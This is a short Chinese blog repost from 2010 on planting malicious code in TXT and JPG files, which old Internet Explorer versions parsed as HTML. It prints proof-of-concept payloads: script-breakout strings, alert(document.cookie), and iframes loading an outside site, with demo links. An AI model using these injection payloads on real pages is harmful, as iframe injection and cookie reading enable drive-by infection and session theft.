TXT文件和图片文件挂马（转载）

2010-5-8 王健宇 转载

TXT挂马

TXT文件中插入一段JAVA代码后后边的HTML代码就会被IE执行

受影响版本IE6 7 8

代码：

‘><script>alert(sb)</script>
<iframe src=http://snight.org width=500 height=500></iframe>

演示http://snight.org/test.txt



图片挂马

将上述代码保存为JPG文件，然后通过IE访问，IE还是同样会解析图片中的HTML代码

受影响版本

IE6 7

演示：http://snight.org/0.jpg

<script>alert(sb)</script>
<iframe src=http://snight.org width=200 height=100></iframe>
<script>alert(document.cookie)</script>
<iframe src=http://snight.org width=200 height=100></iframe>

 

« 删除Win7保留分区方法 | 这两天老是做奇怪的梦»

发表评论：

Powered by emlog sitemap